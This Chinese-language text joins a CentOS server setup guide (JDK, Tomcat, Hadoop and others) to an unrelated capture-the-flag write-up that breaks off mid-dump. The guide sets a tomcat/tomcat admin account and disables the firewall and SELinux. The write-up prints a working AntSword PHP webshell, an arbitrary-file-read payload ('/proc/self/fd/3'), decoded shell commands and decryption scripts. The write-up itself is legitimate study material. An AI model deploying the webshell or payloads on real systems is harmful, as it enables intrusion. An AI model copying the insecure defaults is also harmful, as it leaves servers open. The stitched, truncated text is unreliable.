【宿主】
Windows 7 專業版64位操作系統
【虛擬工具】
VMware Workstation 8
【虛擬機】
CentOS 6.5 x86 64bit
【目錄說明】
1、預裝軟件存儲目錄(用于存放預裝軟件的下載文件):
/usr/local/SoftWare
2、系統環境目錄(用于存儲系統運行所搭載的環境設置):
/usr/local/Env
3、項目開發目錄(用于存儲項目的研發文件,并進行項目的研發操作):
/usr/local/Develop
4、項目部署目錄(用于存儲項目的線上文件,并進行項目的部署操作):
/usr/local/Online
【服務器環境搭建步驟】
[安裝JDK]
[JDK版本]1.7.0_79
[安裝文件]jdk-7u79-linux-i586.tar.gz
[JDK安裝步驟]
1、上傳JDK安裝文件(jdk-7u79-linux-i586.tar.gz)至/usr/local/SoftWare/文件夾
2、生成安裝目錄、解壓文件:
cd /usr/local/Env
mkdir java
cd /usr/local
cp SoftWare/jdk-7u79-linux-i586.tar.gz Env/java/
cd /usr/local/Env/java
tar -zxvf jdk-7u79-linux-i586.tar.gz
3、設置環境變量:
vi /etc/profile
在文件末尾追加如下內容:
#JAVA SETTING START---------
export JAVA_HOME=/usr/local/Env/java/jdk1.7.0_79
export JRE_HOME=/usr/local/Env/java/jdk1.7.0_79/jre
export CLASSPATH=.:$JAVA_HOME/lib/dt.jar:$JAVA_HOME/lib/tools.jar:$JRE_HOME/lib:$CLASSPATH
export PATH=$JAVA_HOME/bin:$PATH
#JAVA SETTING STOP----------
source /etc/profile:讓設置生效
4、驗證JDK安裝成功與否:java -version
注:若出現如下之類的錯誤:Error: dl failure on line 863
請執行:/usr/sbin/setenforce 0
再次驗證時,顯示如下正常信息:
java version "1.7.0_79"
Java(TM) SE Runtime Environment (build 1.7.0_79-b15)
Java HotSpot(TM) Client VM (build 24.79-b02, mixed mode)
[安裝Tomcat]
[Tomcat版本]7.0.69
[安裝文件]apache-tomcat-7.0.69.tar.gz
[Tomcat安裝步驟]
1、上傳Tomcat安裝文件(apache-tomcat-7.0.69.tar.gz)至/usr/local/SoftWare/文件夾
2、生成Tomcat存儲地址:
mkdir /usr/local/Env/tomcat
3、解壓tomcat文件,并將解壓后的文件放置于設定的Tomcat文件夾下:
cd /usr/local/
cp SoftWare/apache-tomcat-7.0.69.tar.gz Env/tomcat/
cd Env/tomcat/
tar -zxvf apache-tomcat-7.0.69.tar.gz
mv apache-tomcat-7.0.69 tomcat
4、啟動Tomcat:
完成上述操作后,Tomcat的相關啟動文件均部署于/usr/local/Env/tomcat/tomcat/bin/文件夾中
./startup.sh:啟動Tomcat服務
./shutdown.sh:停止Tomact服務
注意:需要關閉防火墻:service iptables stop
5、為Tomcat設置管理賬號信息:
修改/usr/local/Env/tomcat/tomcat/conf/tomcat-users.xml文件,內容如下:
<role rolename="manager-gui"/>
<role rolename="tomcat"/>
<user username="tomcat" password="tomcat" roles="manager-gui"/>
完成之后,需要重啟Tomcat,方能生效。
6、安裝有效性驗證:
由于tomcat在安裝時,默認的設置文件中,對服務端口的設定為8080,因此通過<虛擬服務器IP:8080>即可驗證其安裝的有效性。
注:
1、如果想去端口進行訪問,可以在/usr/local/Env/tomcat/tomcat/conf/server.xml中將8080端口改為80即可。
2、由于本開發環境會以PHP作為web服務予以提供,因此本環境仍延用8080作為tomcat的默認端口。
[安裝Maven]
[Maven版本]3.3.9
[安裝文件]apache-maven-3.3.9-bin.tar.gz
[Maven安裝步驟]
1、上傳Maven安裝文件(apache-maven-3.3.9-bin.tar.gz)至/usr/local/SoftWare/文件夾
2、生成maven存儲地址:
mkdir /usr/local/Env/maven
2、解壓Maven文件,并將解壓后的文件放置于設定的Maven文件夾下:
cd /usr/local
cp SoftWare/apache-maven-3.3.9-bin.tar.gz Env/maven/
cd /usr/local/Env/maven
tar -zxvf apache-maven-3.3.9-bin.tar.gz
mv apache-maven-3.3.9 maven
4、設置Maven環境變量:
vi /etc/profile
添加如下內容:
#MAVEN SETTING START--------
export M2_HOME=/usr/local/Env/maven/maven
PATH=$PATH:$JAVA_HOME/bin:$M2_HOME/bin
export PATH USER LOGNAME MAIL HOSTNAME HISTSIZE INPUTRC
#MAVEN SETTING STOP---------
5、讓Maven環境生效并檢測:
source /etc/profile
mvn -v
若出現如下結果,證明已經成功:
Apache Maven 3.3.9 (bb52d8502b132ec0a5a3f4c09453c07478323dc5; 2015-11-10T08:41:47-08:00)
Maven home: /usr/local/maven
Java version: 1.7.0_79, vendor: Oracle Corporation
Java home: /usr/local/java/jdk1.7.0_79/jre
Default locale: en_US, platform encoding: UTF-8
OS name: "linux", version: "2.6.18-238.el5", arch: "i386", family: "unix"
6、Maven構建項目:
mvn compile:編譯源碼
mvn test-compile:編譯測試源碼
mvn clean package:構建全新的項目
[安裝Git]
[Git版本]2.2.1
[安裝文件]git-2.2.1.tar.gz
[Git安裝步驟]
1、將安裝文件(git-1.8.4.1.tar.gz)上傳至:/usr/local/SoftWare/文件夾;
2、安裝前的準備:
yum install curl-devel
yum install expat-devel
yum install openssl-devel
yum install perl
yum install cpio
yum install expat-devel
yum install gettext-devel
yum install autoconf
yum -y install perl-devel
3、解壓并安裝文件:
mkdir /usr/local/Env/git
cd /usr/local/
cp SoftWare/git-2.2.1.tar.gz Env/git/
cd Env/git
tar -zxvf git-2.2.1.tar.gz
mv git-2.2.1 git-2.2.1_source
cd git-2.2.1_source
make configure
./configure --prefix=/usr/local/Env/git/git
make && make install
4、配置環境變量:
vi /etc/profile
添加如下內容:
#GIT SETTING START----------
export GIT_HOME=/usr/local/Env/git/git
export PATH=$PATH:$GIT_HOME/bin
#GIT SETTING STOP-----------
5、讓Git環境生效并檢測:
source /etc/profile
git
unset SSH_ASKPASS
[安裝Python]
[Python版本]2.7.12(由于系統自帶安裝Python2.6.6,但實際項目會需要2.7及以上版本,因此予以兼容花安裝)
[安裝文件]Python-2.7.12.tgz
[Python安裝步驟]
1、上傳Python安裝文件(Python-2.7.12.tgz)至/usr/local/SoftWare/文件夾
2、生成Python存儲地址:
mkdir /usr/local/Env/Python2.7
mkdir /usr/local/Env/Python2.7/Python2.7
2、解壓Python文件,并將解壓后的文件放置于設定的Maven文件夾下:
cd /usr/local
cp SoftWare/Python-2.7.12.tgz Env/Python2.7/
cd /usr/local/Env/Python2.7
tar -zxvf Python-2.7.12.tgz
mv Python-2.7.12 Python-2.7.12_source
cd Python-2.7.12_source
./configure --prefix=/usr/local/Env/Python2.7/Python2.7
make
make install
4、驗證Python2.7安裝情況:
/usr/local/Env/Python2.7/Python2.7/bin/python2.7
出現版本信息則證明安裝成功。
5、相關輔助擴展安裝:
1)為Python2.7安裝pip:
/usr/local/Env/Python2.7/Python2.7/bin/python2.7 /usr/local/Env/Python2.7/Python-2.7.12_source/build/scripts-2.7/get-pip.py (get-pip.py這個文件是我自己下的,我把它放在了這里而已,指定下路徑,隨便放在哪里都可以)
2)裝完這個才能裝request和protobuf的依賴包
/usr/local/Env/Python2.7/Python2.7/bin/pip2.7 install protobuf
/usr/local/Env/Python2.7/Python2.7/bin/python2.7 /usr/local/Env/Python2.7/Python2.7/lib/python2.7/site-packages/easy_install.py requests
廣點通DMP代碼測試:
cd /usr/local/Develop/hdapi/hdapi/Python/DmpDS
mkdir data
make tmp_data
/usr/local/Env/Python2.7/Python2.7/bin/python2.7 main.py gdtdmp.conf data/ 10528
若成功,則擴展安裝正常!
3)安裝MySQL擴展:
A)yum install python-devel
B)yum install mysql-devel
C)yum install gcc
D)updatedb
E)/usr/local/Env/Python2.7/Python2.7/bin/pip2.7 install -Iv https://pypi.python.org/packages/source/M/MySQL-python/MySQL-python-1.2.5.zip#md5=654f75b302db6ed8dc5a898c625e030c
pip uninstall MySQL_python(如果安裝后擴展不能使用,請刪除后重新安裝)
安裝完成后,進入Python命令行:
/usr/local/Env/Python2.7/Python2.7/bin/python2.7
import sys,MySQLdb
若無異常跑出,則OK
備注:
為便于接入基礎平臺部服務,以后的服務版本將不再基于2.6.6進行開發,如無異常,均基于2.7.12進行開發!
【查看指定時間內有更新的文件】
find . -mmin -5 -name '*.*'
【服務上線部署流程】
虛擬開發環境代碼-┓ ┎-->GIT服務器(源碼)
┃ ┃
┖本地JAR包編譯---┛
┃
┖線上服務器(只部署zip)
┃
┖解壓&&部署
【HDFS系統搭建】
[安裝Hadoop]
[Hadoop版本]hadoop-2.6.0
[安裝文件]hadoop-2.6.0.tar.gz
[Hadoop安裝步驟]
1、上傳Hadoop安裝文件(hadoop-2.6.0.tar.gz )至/usr/local/SoftWare/文件夾
2、生成安裝目錄、解壓文件:
mkdir /usr/local/Env/Hadoop
cp /usr/local/SoftWare/hadoop-2.6.0.tar.gz /usr/local/Env/Hadoop/
cd /usr/local/Env/Hadoop/
tar -zxvf hadoop-2.6.0.tar.gz
cd hadoop-2.6.0
3、設置環境變量:
vim /etc/profile
在文件尾追加如下語句:
#HADOOP SETTING START----------
export HADOOP_HOME=/usr/local/Env/Hadoop/hadoop-2.6.0
export PATH=$PATH:$HADOOP_HOME/bin
#HADOOP SETTING STOP-----------
完成添加后保存退出,并使之生效:source /etc/profile
4、生成Hadoop工作目錄
mkdir /usr/local/Env/Hadoop/HDP_WorkShop
mkdir /usr/local/Env/Hadoop/HDP_WorkShop/tmp
mkdir /usr/local/Env/Hadoop/HDP_WorkShop/hdfs
mkdir /usr/local/Env/Hadoop/HDP_WorkShop/hdfs/data
mkdir /usr/local/Env/Hadoop/HDP_WorkShop/hdfs/name
5、Hadoop設置:
cd /usr/local/Env/Hadoop/hadoop-2.6.0/etc/hadoop
1)hadoop-env.sh文件:
注釋掉:export JAVA_HOME=${JAVA_HOME}
新添加:export JAVA_HOME=/usr/local/Env/java/jdk1.7.0_79
export HADOOP_SSH_OPTS="-p 16022"http://此行操作適用于指定SSH的使用端口號,默認為22
2)yarn-env.sh文件:
注釋掉:export JAVA_HOME=/home/y/libexec/jdk1.6.0/
新添加:export JAVA_HOME=/usr/local/Env/java/jdk1.7.0_79
3)core-site.xml文件:
在文件中的<configuration></configuration>標簽中插入如下語句:
<configuration>
<property>
<name>fs.default.name</name>
<value>hdfs://localhost:9000</value>
<description>The URI and Port of HDFS</description>
</property>
<property>
<name>hadoop.tmp.dir</name>
<value>/usr/local/Env/Hadoop/HDP_WorkShop/tmp</value>
<description>The tmp folder of hadoop work shop</description>
</property>
</configuration>
4)hdfs-site.xml文件
在文件中的<configuration></configuration>標簽中插入如下語句:
<configuration>
<!—hdfs-site.xml-->
<property>
<name>dfs.name.dir</name>
<value>/usr/local/Env/Hadoop/HDP_WorkShop/hdfs/name</value>
<description>The path of namenode</description>
</property>
<property>
<name>dfs.data.dir</name>
<value>/usr/local/Env/Hadoop/HDP_WorkShop/hdfs/data</value>
<description>The path of datanode</description>
</property>
<property>
<name>dfs.replication</name>
<value>1</value>
<description>The default copy number of hdfs(Should less than 10)</description>
</property>
</configuration>
5)mapred-site.xml文件:
cp mapred-site.xml.template mapred-site.xml
在文件中的<configuration></configuration>標簽中插入如下語句:
<configuration>
<property>
<name>mapreduce.framework.name</name>
<value>yarn</value>
</property>
</configuration>
6)yarn-site.xml文件:
在文件中的<configuration></configuration>標簽中插入如下語句:
<configuration>
<property>
<name>yarn.nodemanager.aux-services</name>
<value>mapreduce_shuffle</value>
</property>
<property>
<name>yarn.resourcemanager.webapp.address</name>
<value>${yarn.resourcemanager.hostname}:8099</value>
</property>
</configuration>
6、啟動hadoop:
1)啟動前檢測:
命令行輸入jps后,若只有JPS本身信息顯示,則說明未啟動,可以進行下步操作。
2)格式化namenode:
初次啟動,記得格式化namenode,即在命令行輸入:
cd $HADOOP_HOME/bin
hdfs namenode –format
待完成后進入下一步操作。
3)SSH無密碼登錄:
進入root用戶所在用戶目錄:
cd /root
創建通訊私鑰:
ssh-keygen -t rsa(后續一頓回車)
cat id_rsa.pub >> authorized_keys
4)啟動NameNode 和 DataNode 守護進程
cd $HADOOP_HOME/sbin/
./start-dfs.sh
5)啟動ResourceManager 和 NodeManager 守護進程
cd $HADOOP_HOME/sbin/
./start-yarn.sh
備注:
問題1:hadoop “util.NativeCodeLoader: Unable to load native-hadoop library for your platform”
跟系統位數有關系,我使用的是Centos 6.5 64位操作系統。
我用的是hadoop2.6,所以下載下面這個:
http://dl.bintray.com/sequenceiq/sequenceiq-bin/hadoop-native-64-2.6.0.tar
下載完以后,解壓到hadoop的native目錄下,覆蓋原有文件即可
問題2:jps發現有部分進程未啟動成功,就是datanode啟不來,
查看日志發現,是由于bogon這個訪問地址沒有配置,因此在/etc/hosts文件中加入如下語句:
127.0.0.1 bogon.localdomain bogon
再次啟動,發現OK
啟動成功的標示:(進程都在)
7116 SecondaryNameNode
6947 DataNode
7572 Jps
7372 NodeManager
6852 NameNode
7282 ResourceManager
通過http://192.168.85.6:8099/cluster/nodes進行訪問出現界面即可。
也可以通過http://192.168.85.6:50070進行界面訪問。
原創:MARS 合天智匯
MISC
f=open('724c6e962216407fa5fa1ad7efda2653_misc1_flag.txt','rb') b=f.read() a=[] max=int(0) min=int(999) for i in b: t=i if t >=max: max=i if t <=min: min=i a.append(hex(i)) print(hex(max)) print(hex(min))
導出數據觀察可以發現最小值為0x2,最大值為0xF9,根據判斷可見字符在這個范圍內的應該為EBCDIC編碼,且是CP1146(IBM EBCDIC英國編碼) 可以編寫解碼腳本
import codecs import ebcdic def decode(): with codecs.open("724c6e962216407fa5fa1ad7efda2653_misc1_flag.txt", 'rb') as input_file: print(input_file.read().decode('cp1146')) decode()?BuCeCx:?|@B?B£BvC·BeBˉBlB?$EBCDIC: /eb′s@·dik/, /eb′see`dik/, /eb′k@·dik/, n. [abbreviation, Extended Binary Coded Decimal Interchange Code] An alleged character set used on IBM dinosaurs. It exists in at least six mutually incompatible versions, all featuring such delights as non-contiguous letter sequences and the absence of several ASCII punctuation characters fairly important for modern computer languages (exactly which characters are absent varies according to which version of EBCDIC you're looking at). IBM adapted EBCDIC from punched card code in the early 1960s and promulgated it as a customer-control tactic (see connector conspiracy), spurning the already established ASCII standard. Today, IBM claims to be an open-systems company, but IBM's own description of the EBCDIC variants and how to convert between them is still internally classified top-secret, burn-before-reading. Hackers blanch at the very name of EBCDIC and consider it a manifestation of purest evil.flag is flag{0a07c11e46af753fd24d40023f0fdce1}
最簡單的方法是使用WPS Word打開文件,文件 -> 文件 -> 重新載入 -> IBM EBCDIC英國編碼
#!/usr/bin/env python # -*- coding: utf-8 -*- import os from flask import request from flask import Flask secret=open('/flag', 'rb') os.remove('/flag') app=Flask(__name__) app.secret_key='015b9efef8f51c00bcba57ca8c56d77a' @app.route('/') def index(): return open(__file__).read() @app.route("/r", methods=['POST']) def r(): data=request.form["data"] if os.path.exists(data): return open(data).read() return '' if __name__=='__main__': app.run(host='0.0.0.0', port=8000, debug=False)
存在任意文件讀取,flag文件open后被刪除,可以讀取文件描述符拿到flag
data=/proc/self/fd/3
使用010editor等十六進制編輯器打開html文件,可看見存在一段由序列E2 80 8C和序列E2 80 8B組成的隱藏字符,把E2 80 8C視為0,E2 80 8B視為1進行轉換可得flag 在Chrome瀏覽器的開發者工具中打開也可以發現
0827h: E2 80 8C E2 80 8B E2 80 8B E2 80 8C E2 80 8C E2 a?a?a?a?a?a 0837h: 80 8B E2 80 8B E2 80 8C E2 80 8C E2 80 8B E2 80 ?a?a?a?a?a 0847h: 8B E2 80 8C E2 80 8B E2 80 8B E2 80 8C E2 80 8C ?a?a?a?a?a? 0857h: E2 80 8C E2 80 8B E2 80 8B E2 80 8C E2 80 8C E2 a?a?a?a?a?a 0867h: 80 8C E2 80 8C E2 80 8B E2 80 8C E2 80 8B E2 80 ?a?a?a?a?a 0877h: 8B E2 80 8C E2 80 8C E2 80 8B E2 80 8B E2 80 8B ?a?a?a?a?a? 0887h: E2 80 8C E2 80 8B E2 80 8B E2 80 8B E2 80 8B E2 a?a?a?a?a?a 0897h: 80 8C E2 80 8B E2 80 8B E2 80 8C E2 80 8B E2 80 ?a?a?a?a?a ...0000h: 01100110 01101100 01100001 01100111 01111011 01100101 00110010 01100001 flag{e2a 0008h: 00111001 01100011 00111000 01100010 00110001 00110001 00110111 00110101 9c8b1175 0010h: 01100101 00110110 00110110 01100011 01100110 00110010 00110001 01100110 e66cf21f 0018h: 00111000 00110101 00111001 00110011 01100010 01100011 00111000 00110101 8593bc85 0020h: 01100010 01100110 00111001 00110011 00111001 01111101 bf939}
分析流量可知,在服務器上執行的shell解密后大致如下
<?php @ini_set("display_errors", "0"); @set_time_limit(0); function asenc($out) { @session_start(); $key='f5045b05abe6ec9b1e37fafa851f5de9'; return @base64_encode(openssl_encrypt(base64_encode($out), 'AES-128-ECB', $key, OPENSSL_RAW_DATA)); } ;; function asoutput() { $output=ob_get_contents(); ob_end_clean(); echo "8c2b4"; echo @asenc($output); echo "e2e10"; } ob_start(); try { $p=base64_decode($_POST["0x1b4d456c7297d"]); $s=base64_decode($_POST["0xb9b45688a5a08"]); $d=dirname($_SERVER["SCRIPT_FILENAME"]); $c=substr($d, 0, 1)=="/" ? "-c \"{$s}\"" : "/c \"{$s}\""; $r="{$p} {$c}"; function fe($f) { $d=explode(",", @ini_get("disable_functions")); if (empty($d)) { $d=array(); } else { $d=array_map('trim', array_map('strtolower', $d)); } return (function_exists($f) && is_callable($f) && !in_array($f, $d)); } ; function runcmd($c) { $ret=0; if (fe('system')) { @system($c, $ret); } elseif (fe('passthru')) { @passthru($c, $ret); } elseif (fe('shell_exec')) { print(@shell_exec($c)); } elseif (fe('exec')) { @exec($c, $o, $ret); print(join(" ", $o)); } elseif (fe('popen')) { $fp=@popen($c, 'r'); while (!@feof($fp)) { print(@fgets($fp, 2048)); } @pclose($fp); } elseif (fe('antsystem')) { @antsystem($c); } else { $ret=127; } return $ret; } ; $ret=@runcmd($r . " 2>&1"); print ($ret !=0) ? "ret={$ret}" : "";; } catch (Exception $e) { echo "ERROR://" . $e->getMessage(); }; asoutput(); die(); ?> //ed3edq113
在第七個HTTP流中,讀取了flag
In [4]: base64.b64decode('Y2QgIi92YXIvd3d3L2h0bWwvdG1wIjtjYXQgZmxhZ3xiYXNlNjQgO2VjaG8gW1NdO3B3ZDtlY2hvIFtFXQ==') Out[4]: b'cd "/var/www/html/tmp";cat flag|base64 ;echo [S];pwd;echo [E]'
flag經過了一層base64加密,在asoutput方法中增加了前后綴,然后在套一下base64,順便AES加密 響應的內容如下:
kRD1eD+vSZ81FAJ6XClabCR0xNFklup5/x+gixas3l0kdMTRZJbqef8foIsWrN5dJHTE0WSW6nn/H6CLFqzeXSR0xNFklup5/x+gixas3l0kdMTRZJbqef8foIsWrN5dZOTFg4DW9MYwG6k3rEvAAR8oFStGnfMRtUJOqc0mgokfKBUrRp3zEbVCTqnNJoKJHygVK0ad8xG1Qk6pzSaCiR8oFStGnfMRtUJOqc0mgokfKBUrRp3zEbVCTqnNJoKJ1qI47Cz1/qfnNoNARGhLfVhC0RJlfeKCvbPwpjFn//BSFY8RJlZyxz1a+TPy0D3cUhWPESZWcsc9Wvkz8tA93FIVjxEmVnLHPVr5M/LQPdxSFY8RJlZyxz1a+TPy0D3cUhWPESZWcsc9Wvkz8tA93GnMvJfVbvphfWnt17IOkzYjvv91k2fnYDR7u4nlGM3YitxGYGs9mn+HS5iJBXORtYrcRmBrPZp/h0uYiQVzkbWK3EZgaz2af4dLmIkFc5G1itxGYGs9mn+HS5iJBXORtUq4dBjDRFhDqDyzs9CScJhrd3yMusQ+qsnZkq4Ey7NVJHTE0WSW6nn/H6CLFqzeXSR0xNFklup5/x+gixas3l0kdMTRZJbqef8foIsWrN5dJHTE0WSW6nn/H6CLFqzeXSR0xNFklup5/x+gixas3l2hDPuDhVN4TaDLzp9bXyfGeCVhvglAaNo2rA/ovnRTTtfA5ZywMOOijj6md5RItqjXwOWcsDDjoo4+pneUSLao18DlnLAw46KOPqZ3lEi2qNfA5ZywMOOijj6md5RItqgS0b9hS7r5TX9YNZo2awgUAyqVacVgwr1NlNQ2k/kihhh0QQfnjeGdZhkz0N0jAKiMzFmAMa7xQ1URxTaHoHjDg3NaWl/8+PVG+pyaKrbNDjfl77POeQE8+0MCHpz6YxWLJ6mwCe1X3uzz/HSHcHSvQBB8FxjOhugOErOXkd3LZi/60Gr4gIEc1JIxA5A2pE/V6Z/DFwNOR4M/IIIWdGr5
解密腳本
<?php $r=file_get_contents("enc"); $key='f5045b05abe6ec9b1e37fafa851f5de9'; echo openssl_decrypt(base64_decode($r), 'AES-128-ECB', $key, OPENSSL_RAW_DATA); ?>
拿到flag:flag{AntSword_is_Powerful_3222222!!!!}
re
re1
init_array和fini_array都有一個函數,在init_array里的函數里加了反調,直接patch即可,然后還把key修改了
for ( j=0; j <=15; ++j ) { result=aThisIsNotKey; aThisIsNotKey[j] ^=7u; }
然后fini_array才是最后的比較函數
for ( i=0; i <=15; ++i ) { result=(unsigned __int8)byte_202040[i + 0x10]; if ( byte_2020E0[i] !=(_BYTE)result ) v2=0; }
加密函數是RC4算法,解題腳本為:
import base64 from Crypto.Cipher import ARC4 key="sontXntXihsXlb~&" data="A"*0x10 rc41=ARC4.new(key) # part1=rc41.decrypt('78695a5c2515935f6d150711ee01b3ab'.decode('hex')) part2=rc41.decrypt('7f305e5f1619bf7471131025d75fe1ff'.decode('hex')) print part2
re2
32元一次方程組,把數據扣出來在到在線網站上解密(
# import re # a=''' 17153 * a1[27] # + 41549 * a1[26] # + 28202 * a1[24] # + 36806 * a1[23] # + 12690 * a1[22] # + 42821 * a1[20] # + 39834 * a1[19] # + 17994 * a1[17] # + 32765 * a1[14] # + 25687 * a1[10] # + 33388 * a1[9] # + 143 * a1[4] # + 63776 * a1[0] # + 8682 * a1[1] # - 16324 * a1[2] # - 20022 * a1[3] # - 48973 * a1[5] # - 57775 * a1[6] # - 43820 * a1[7] # - 41070 * a1[8] # - 15669 * a1[11] # - 6946 * a1[12] # - 23187 * a1[13] # - 46495 * a1[15] # - 8395 * a1[16] # - 27782 * a1[18] # - 46043 * a1[21] # - 15428 * a1[25] # - 59010 * a1[28] # - 49235 * a1[29] # - 53666 * a1[30] # + 28539 * a1[31]==-15479857 ''' # a=a.replace("a1","").split("\n") # matrix=[0 for i in range(32)] # for i in range(32): # f=re.search("([+-]?) ([0-9]*)",a[i]).groups()[0] # value=int(re.search("([+-]?) ([0-9]*)",a[i]).groups()[1]) # if f !='': # if f=='-': # value=-1*value # else: # pass # idx=int(a[i][a[i].find('[')+1:a[i].find(']')]) # matrix[idx]=value # m='' # for i in matrix: # m +=str(i)+',' # m=m.strip(',') # print m # http://www.yunsuan.info/matrixcomputations/solvelinearsystems.html # 44493,-326,-57451,-18424,22432,45266,20069,47551,-3751,39591,35081,45204,-6984,-9410,-54261,2139,48734,-62111,44970,29470,-20305,-33120,39390,1513,58180,-11160,-24198,37157,50244,-1646,37027,-13318 # -54741,-3606,48560,-45416,22008,11900,-24275,-64371,32499,46114,-25714,21730,-56673,9624,28702,-39430,9187,-35779,26720,-15144,51548,11260,48594,-45050,-59016,50109,-29262,-55650,-29492,-13828,12535,40522 # 17703,-16114,-24359,54532,15266,5819,-33999,19362,-58904,63538,64858,2665,-11844,-29623,20144,43681,32755,-42532,-60912,20331,3541,53780,29817,-4711,-56853,57822,31675,52683,57988,-33486,12097,24590 # 24247,64898,-24733,3430,41149,17219,-16545,42702,-1315,24960,27013,28,2783,-15867,-12126,28232,-3823,37522,48151,-20727,-12037,-9347,-39338,-50524,-38675,-26114,-4975,59561,32393,36741,51792,-24297 # -32261,-54551,15294,-61664,-40648,-12277,-55300,-63212,41251,-45548,-22362,-32993,64221,-43046,-40770,5380,57738,62825,52035,3079,-7119,26782,-36194,-56102,-19468,54655,35562,-59856,25143,13289,64702,23822 # -9407,64048,60965,33702,-12654,-56126,-47366,47843,30627,-29056,32583,-50822,-6240,43847,47577,-12371,8314,22558,9886,43924,-23282,-13137,-13716,6461,63681,-43391,-37217,-43714,-55909,-62806,5977,36688 # -23136,47281,20301,-61441,2565,57144,44459,-31365,16024,54218,-56894,-52977,-39404,-63477,63390,-22773,46343,-50258,40389,-25970,23917,-56685,47030,5856,-55893,36904,44955,58093,13407,49426,26401,-25199 # 62577,23069,18654,4696,22400,-16178,42663,-34941,-50803,-28229,15341,3911,-45565,50053,-45774,18373,7881,-28140,1742,-29986,58351,14952,-40067,15201,11269,53436,41681,22198,-63863,-50393,-14615,16722 # -39728,57392,910,37963,-2274,-61995,-43938,-12412,-10642,-10303,31888,7362,-16356,-615,40135,-11314,-17185,54431,-61134,-4620,-4591,29560,35119,-51958,40581,34037,-65066,5750,-6232,-60002,17326,30503 # -16296,-8786,48180,-65236,-48383,-32713,61315,-58771,-47593,-14512,6483,56260,25366,58190,-60203,27537,50686,-7295,-3885,61335,-39212,-40687,-19258,-57463,32582,2313,-24504,-11629,-8917,31106,-4535,38212 # -31610,52623,-35005,25689,-9320,63683,39253,51102,-16508,11413,3265,35320,18706,6847,-55110,528,35247,-63180,30153,-13666,39538,-49046,33264,51928,13203,17103,59096,48721,33683,-42949,-60950,26096 # 47557,52902,-12806,-59773,-9182,-57417,-18447,6146,15859,59808,30791,-54963,45466,-61599,49637,21116,15786,3656,-18454,28722,46709,21307,50390,5176,-30277,-25544,-17882,-25149,61328,-17363,49588,21848 # 37688,23309,-2616,59129,5104,-12561,-3215,60503,29438,42505,-49703,38339,12457,45365,-15471,33925,-23447,-50859,-86,54770,36604,-3773,-9573,-25835,42417,4680,-20107,58284,-45915,-56171,18191,29164 # 20452,18062,-56424,56918,-10457,50206,-12288,-54591,-44777,24700,12962,38458,-52078,19385,18867,-9805,-48011,-27363,-20890,13714,-788,50998,29867,-7954,-34056,16127,5149,49705,-34732,-54092,64657,35416 # -39611,25246,1951,-37145,-3824,21330,-49145,-43603,8191,-60671,-53032,-48392,-15417,40645,-13059,-58653,42329,-51631,-50173,18903,52431,-44904,37330,40656,-34380,24333,41644,-18100,-57765,-64534,44968,-26760 # -39824,44401,45166,53538,-2540,43929,-54452,-11199,-19801,23926,-13592,47959,19579,-29922,30392,15405,61374,17545,39526,7046,-34144,57593,-5305,-46917,44211,-4511,-23881,29438,-39081,34688,28579,3296 # 62215,19566,15203,-30340,-15964,59815,-13939,60087,-43008,-44925,-49239,-40498,-54453,-33557,6928,24510,36587,-24721,7959,49381,-21456,-40311,8487,-61111,-18918,-33393,-9301,41415,-61619,64380,40454,58498 # 35423,-12994,33894,40977,57560,63291,-32256,-23534,40291,5725,-40660,43131,-19119,21483,39085,62097,-33732,-63756,35027,3633,30380,36333,-13528,53612,6578,-47605,10809,-43202,14305,2766,-42819,-34232 # 44942,63420,58838,55103,27162,53130,27559,26302,-24313,-42499,-21629,34155,-2633,-55014,-22926,19761,-305,-63708,13647,31419,62674,-32334,-47684,-54226,-50848,10136,26215,44427,27903,48054,-15102,-22362 # 6300,-30549,9153,26426,46559,-55683,62261,-44433,6137,-46194,-57198,33875,-45266,51231,65438,45781,-6605,-43397,-7672,-48485,-54035,-12567,-47051,-62256,13058,55552,4221,61587,23936,-9828,59525,50225 # -28415,36297,5686,59059,14796,-11307,-57251,-29507,-41415,12090,62270,8353,-24476,-41751,-46589,63967,55058,10481,30422,47722,-55870,-6321,53136,12704,42884,-34350,-32922,-64909,-50870,13236,39286,49349 # 15479,10453,58731,-9782,63976,-9166,5707,-21516,-2689,29174,23244,-47968,-38843,-13488,61646,3991,57764,-57649,63445,-487,6252,52361,16634,42491,-30704,54808,-61218,18612,-32873,-58677,-2280,35233 # 36368,-30534,50614,-7805,9520,-60795,-17511,-34692,-22139,-49013,-24672,41197,35504,28641,11252,-22264,56629,23301,-55578,-61882,-48469,28509,-8197,-43020,15688,29396,-36911,38392,58430,-6762,38132,56670 # 3542,-17533,28247,1791,-44455,-2748,21876,-38052,8511,61205,-16528,-4664,-13326,16494,-52661,-38860,58300,-60164,-39975,-19566,55072,-55251,-8160,-54674,58305,-29010,-6627,35318,-15962,19958,-10549,-8177 # -7510,-61303,25124,35004,-34033,-49161,-6021,-36125,37617,-10528,-47741,-45531,-1546,2052,-59464,29853,-22656,31346,26883,38644,26034,-24655,-9816,8621,-22299,-23745,37204,47703,13827,15394,-23945,48741 # 19310,1288,-38840,-49229,-40618,39102,34746,-41363,-45367,41169,-21440,-36535,33349,-43289,47866,5395,56668,-41392,30949,53570,-40337,16432,-1430,-28334,35917,-46487,61644,8511,-42458,27496,-59664,64335 # -18187,28981,-53485,17974,41797,-20458,-8491,-16831,33384,53494,-31995,51835,-12109,30996,42087,60427,12986,-51691,-58925,-40872,33269,3954,56824,-30202,59304,-30793,26203,13806,-42110,41403,-1100,-26194 # -40011,-26232,-4849,-60564,20386,44081,-50739,40590,-17237,19883,-35381,28950,-4203,19225,-50964,-39946,28859,12186,38175,-22511,-20539,15071,48156,34737,42732,-60250,-61430,-11009,47559,53536,-8879,46741 # -42653,43668,-10988,3756,34932,61953,22126,29632,59350,-48711,-23958,-33557,50367,41961,-17831,-4583,41615,27387,34328,-29750,9871,-49888,41239,18672,20039,56136,-30956,7689,45907,5442,-41068,23514 # -26968,-23313,38342,5179,10458,3678,-32333,-43275,-2423,-60827,-42621,15986,-27590,59508,53583,19553,-56307,869,6738,63177,-30359,50228,21760,-19919,24036,-18153,41909,-6931,-5822,-30949,-16572,11920 # 8386,57646,35980,-4029,8314,18877,4313,29760,-47059,46356,52295,35013,57567,-25490,64744,1703,55168,-62526,37870,-63227,-27315,31098,6747,63177,55323,-23370,-37329,54696,-6309,43819,-12433,8882 # 63776,8682,-16324,-20022,143,-48973,-57775,-43820,-41070,33388,25687,-15669,-6946,-23187,32765,-46495,-8395,17994,-27782,39834,42821,-46043,12690,36806,28202,-15428,41549,17153,-59010,-49235,-53666,28539 # 34771791 # -9451883 # 29782736 # 27959979 # -10644544 # 230179 # 15871572 # 12844672 # -7906855 # -5359162 # 34815239 # 